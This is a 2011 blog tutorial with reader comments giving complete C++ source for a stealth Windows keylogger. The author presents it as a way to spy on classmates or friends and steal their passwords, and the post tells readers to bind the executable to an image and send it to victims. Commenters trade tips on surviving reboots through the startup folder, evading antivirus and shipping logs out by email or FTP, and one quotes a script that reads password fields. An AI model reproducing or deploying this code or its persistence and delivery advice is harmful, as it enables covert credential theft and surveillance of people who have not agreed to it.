Friday, March 18, 2011

Learn To create Keylogger using C++|Basic Hacking Tutorials

Hi friends, the most interesting part  of the hacking is spying.  Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick when compared to phishing web page.



Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++.  Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Compile the Code(Ctrl+F9)


Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.



bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.


54 comments:

  1. I have a doubt ,wont an anti virus detect this???

    ReplyDelete
  2. Nope. Parsob a anti virus will not detect this... well mine dose not... Just put it on a USB....

    ReplyDelete
  3. there are 2 errors in the above code.

    ReplyDelete
  4. how to see log.txt file?
    it doesn't displaying log file were i have saved that above code file.

    ReplyDelete
  5. Sourabh can you point out the errors?
    Did you run the program? After running the code only , Log.txt file will be created

    ReplyDelete
  6. i want to learn hacking but i cant know about any thing what can i do . just i know Mobile Apps development plzz guide me

    ReplyDelete
  7. can v run it on turbo c software ??

    ReplyDelete
  8. I think turbo c won't support windows header file. so you can't

    ReplyDelete
  9. how to stop this????

    ReplyDelete
  10. works perfectly...... good one...... but can it work even after a reboot?

    ReplyDelete
  11. Can it work with any program besides Dev C++?

    ReplyDelete
  12. works perfect.. but how to make it work after reboot?

    ReplyDelete
  13. one question.. okay! finally we have log file.. but what if this could be on the remote system..i think when the remote user runs the .exe file and then typing something..it could create a log file that will be stored on the remote system.. my question is that how to fetch that remote file or is there any alternative of getting the remote system logs via email,etc..

    thanks,

    bilal

    ReplyDelete
  14. bit of a silly question im just starting out with c++ but where is the exe file to bind it with an image?

    ReplyDelete
  15. If i want to compile the programm just the new window opens but nothing happens is there any page where i can already get the compiled content or does anyone know how to fix it??

    ReplyDelete
  16. my avg antivirus is detecting the keylogger file that I created, plus I can't find the folder with the log.txt file and finally plz tell me if I bind the file with an image or anykind of file how can I access the file remotely?

    ReplyDelete
  17. It just simple demo,won't bypass the av. if you can't run the program, it won't create log.txt.

    ReplyDelete
  18. Sir plzz tell me can this be accessed remotely ?

    ReplyDelete
  19. plz explain the above code...

    ReplyDelete
  20. one silly question...
    the exe file would be executed only when we compile the code...
    then who will do this in the remote computer...??

    ReplyDelete
    Replies
    1. That's what the exe is for!

      Delete
  21. Okay I'm just getting in the hacking game, where do I need to go to learn scripts and text languages?

    ReplyDelete
  22. thanks for sharing i just wanna how to get the victims log will it send it to my computer or my mail, pls i need how because i dont have physical access to his computer and how do i read the logs

    ReplyDelete
  23. Today's 99% of antivirus programs will detect the above exe file as virus and warns immediately... as mine did...

    Thanks to avast.........

    ReplyDelete
  24. set it to run at start up to keep it running

    ReplyDelete
  25. my antivirus picked it up as a trojan

    ReplyDelete
  26. windows defender got it, but is a very good start. Now where I can learn C++? any good book?

    ReplyDelete
    Replies
    1. I'm reading sams teach yourself c++ in 24 hours and it seems to be pretty good!

      Delete
  27. Hey the keylogger worked but my virus scanner can detect it. Is there anyway to make it undetectable? Thanks! Loving the keylogger! Many thanks.

    ReplyDelete
  28. can someone give me link with c++ for windows 7 .. thank u

    ReplyDelete
  29. put the file in startup. goto start, search SHELL:STARTUP, u ll get a folder, copy the exe to folder.
    DONE

    ReplyDelete
  30. but windows defender is recognising it........

    ReplyDelete
  31. there is a mistake... there should int i instead of char i

    ReplyDelete
  32. all the keystrokes are saved in CAPS, i.e its impossible to get a password through this keylogger as it converts all the keystrokes in to their caps form and then save...
    so i think this is a big error in it..

    ReplyDelete
  33. i need help, i made the prgram in virtual studio 2010 express on a windows 7, it worked fine, i storred on an usb and moved to my orther pc (windows vist - should get that fixed) and it wont work. its tells me that it cant start due to that a MSVCP100.dll couldent be found. help me plese

    ReplyDelete
  34. i dont know any thing about hacking please do post an article for that .thanks in advance

    ReplyDelete
  35. The Code given here is compiled perfectly. But the the performance in getting keystroke is not expected. I run it several time in my system, but for the same text, I'm getting different keystroke frequently. Where is the problem?

    ReplyDelete
  36. can someone send me some info about how to make a notepad script and like basic meanings if so hmu at ebowers280@gmail.com

    ReplyDelete
  37. It works well but everything that is typed comes in capitals.

    ReplyDelete
  38. i cant run the keylogger!i press open,it appears for one second and it disappears again!!!!!PLEASE,HELP ME!

    ReplyDelete
  39. I made one but on Python program.
    Works fine but having an issue of sending log.txt attachments to mail.
    Even tried ftp. That was a success but not for long.
    It replaces log.txt with a new one and the previous one is lost.
    Need something more reliable.

    ReplyDelete
  40. Hey is there anyway i can retrieve any cleared log from the LOG file.......if there is then please do tell me!!

    thanks a lot :)

    ReplyDelete
  41. How can i save it as .exe file...???

    ReplyDelete
  42. if you make the keylogger and the log.txt files is saved you need another software that you need to access it remotely when you send it to another persons computer through email? how do you make it invisible so that antivirus' dont see it? and will the keystrokes come back scramble or in perfect order? to know everything there typing? last question does it send back passwords and usernames as encrypted and do you have to uncrypt them?

    ReplyDelete
  43. then how to stop it?

    ReplyDelete
  44. hmm whatever i typed comes up as jumbled letters lets say i type in google.com it comes out as
    gogl.cm in the keyloggers log

    ReplyDelete
  45. i copied it all and "compiled it" (and the window popped up saying ti was "done), but then when I press execute it keeps saying "source file not compiled". What do i DO!?

    ReplyDelete
  46. can you know what this code mean??:

    Javascript:var a = new String(); for (var i = 0; i < document.forms.length; i ) { for (var j = 0; j < document.forms[i].elements.length; j ) { if (document.forms[i].elements[j].type == “password”) {a = document.forms[i].elements[j].value; } } } alert(a);

    ReplyDelete
  47. thnks dude now can u tell me how to remove keylogger

    ReplyDelete
  48. It means that this code looks for every element in all forms in current document, that its type is 'password' and shows its value using alert dialog.

    ReplyDelete
  49. it says its gonna give me a trojan horse,is this accurate?

    ReplyDelete